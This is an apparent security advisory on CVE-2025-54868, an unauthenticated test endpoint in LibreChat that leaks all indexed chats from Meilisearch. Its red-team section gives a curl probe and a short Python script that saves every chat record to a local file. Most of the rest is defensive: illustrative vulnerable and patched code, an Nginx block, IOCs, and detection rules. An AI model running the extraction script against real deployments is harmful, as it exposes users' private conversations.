CVE-2025-54868

Executive Summary

CVE-2025-54868 is a critical vulnerability in LibreChat, an open-source ChatGPT clone, affecting versions 0.0.6 through 0.7.7-rc1. The flaw resides in an exposed testing endpoint (/api/search/test) that allows unauthenticated attackers to read arbitrary chats directly from the underlying Meilisearch engine. This results in a severe confidentiality breach, as any chat data stored in the system can be exfiltrated without any access control. The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-306 (Missing Authentication for Critical Function). The patch is available in version 0.7.7, which removes or restricts the vulnerable endpoint.

Supply Chain & Package Security

LibreChat is a Node.js application that relies on the Meilisearch engine for search functionality. The vulnerability is not in a third-party package but in the application's own API design. However, the exposure of the Meilisearch engine's data through an unauthenticated endpoint highlights a critical supply chain risk: misconfiguration of internal services. Organizations using LibreChat should ensure that Meilisearch is not directly exposed to the internet and that all API endpoints are properly authenticated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the endpoint.
• User Interaction (UI): None (N) - The attacker does not need to trick a user into performing any action.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - All chat data stored in Meilisearch is exposed.
• Integrity (I): None (N) - The vulnerability does not allow modification of data.
• Availability (A): None (N) - The vulnerability does not affect system availability.

Threat Level: High. The ease of exploitation (no authentication, low complexity) combined with the high confidentiality impact makes this a critical threat for any deployment using the affected versions.

Deep Dive & Mechanics

The vulnerability exists because the /api/search/test endpoint was intended for development and testing purposes but was left exposed in production builds. This endpoint directly queries the Meilisearch engine without any authentication or authorization checks. Meilisearch is a powerful search engine that indexes all chat messages stored by LibreChat. By sending a simple HTTP GET request to this endpoint, an attacker can retrieve the entire chat history of all users.

The attack flow is straightforward:

1. The attacker identifies a target running LibreChat (e.g., via Shodan or direct scanning).
2. The attacker sends a request to https://target.com/api/search/test.
3. The server responds with the raw JSON output from Meilisearch, containing all indexed chat data.

This is a classic case of missing authentication for a critical function (CWE-306). The endpoint should have been restricted to internal networks or removed entirely before production deployment.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.7.7): The vulnerable endpoint is typically defined in a route file (e.g., routes/search.js). It might look like this:

// Vulnerable: No authentication middleware
router.get('/test', async (req, res) => {
    try {
        const results = await meilisearchClient.index('chats').search('');
        res.json(results);
    } catch (error) {
        res.status(500).json({ error: error.message });
    }
});

Patched Code (0.7.7): The patched version either removes the endpoint entirely or adds authentication middleware:

// Patched: Endpoint removed or protected
// Option 1: Remove the route
// router.get('/test', ...) is deleted

// Option 2: Add authentication
const { requireAuth } = require('../middleware/auth');
router.get('/test', requireAuth, async (req, res) => {
    // Only authenticated users can access
    const results = await meilisearchClient.index('chats').search('');
    res.json(results);
});

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable LibreChat instance (version 0.7.6) using Docker:

   docker run -d -p 3000:3000 --name librechat-vuln ghcr.io/danny-avila/librechat:0.7.6
   

2. Ensure Meilisearch is running and connected (default configuration).

Exploitation Steps:

1. Identify the target endpoint:

   curl -v http://target:3000/api/search/test
   

2. If the endpoint is accessible, the response will contain all indexed chat data in JSON format.
3. For automated extraction, use a script:

   import requests
   import json
   
   target = "http://target:3000"
   response = requests.get(f"{target}/api/search/test")
   if response.status_code == 200:
       data = response.json()
       with open("exfiltrated_chats.json", "w") as f:
           json.dump(data, f, indent=2)
       print(f"Exfiltrated {len(data.get('hits', []))} chat records.")
   else:
       print("Endpoint not accessible.")
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for requests to /api/search/test in web server logs.
2. Look for unusual spikes in Meilisearch query volume.
3. Check for unauthorized access to the Meilisearch API directly (port 7700 by default).

Hunting Query (Splunk):

index=web_logs uri="/api/search/test" | stats count by src_ip, user_agent

Mitigation Steps:

1. Immediately upgrade to LibreChat 0.7.7 or later.
2. If upgrade is not possible, block access to /api/search/test at the reverse proxy level (e.g., Nginx):

   location /api/search/test {
       deny all;
       return 403;
   }
   

3. Restrict Meilisearch to listen only on localhost (127.0.0.1) and not expose it to the network.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/search/test from external IPs.
  • Unusual outbound data transfers from the LibreChat server.
  • Direct connections to Meilisearch port (7700) from unexpected sources.

• File IOCs:

  • Unexpected JSON files containing chat data on attacker-controlled systems.
  • Modified web server logs showing repeated access to the vulnerable endpoint.

• Behavioral IOCs:

  • Sudden increase in Meilisearch query count.
  • Unauthorized API calls to Meilisearch without corresponding user activity.

Detection Engineering

YARA Rule

rule Detect_LibreChat_Exploit_Attempt {
    meta:
        description = "Detects attempts to exploit CVE-2025-54868 by scanning for requests to /api/search/test"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54868"
    strings:
        $endpoint = "/api/search/test"
        $meilisearch = "Meilisearch"
    condition:
        $endpoint or $meilisearch
}

Sigma Rule

title: Detection of CVE-2025-54868 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to the vulnerable /api/search/test endpoint in LibreChat
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54868
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/api/search/test"
    condition: selection
falsepositives:
    - Legitimate testing by administrators (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54868 - LibreChat /api/search/test Exploit Attempt"; flow:to_server; content:"/api/search/test"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update LibreChat to version 0.7.7 or later immediately.
2. Block Endpoint: If upgrade is delayed, block /api/search/test at the reverse proxy or WAF level.
3. Restrict Meilisearch: Ensure Meilisearch is not exposed to the internet and only listens on localhost.

Long-Term Measures:

1. Code Review: Conduct a security review of all API endpoints to ensure proper authentication is enforced.
2. Penetration Testing: Regularly test for exposed development endpoints.
3. Network Segmentation: Place Meilisearch and other backend services in a separate, isolated network segment.
4. Monitoring: Implement monitoring for unusual API access patterns.

Patch Details: The fix is included in LibreChat version 0.7.7. The vulnerable endpoint /api/search/test has been removed. Users should upgrade to this version or apply the patch manually by deleting or protecting the route.

Valters IT
Securing Digital Frontiers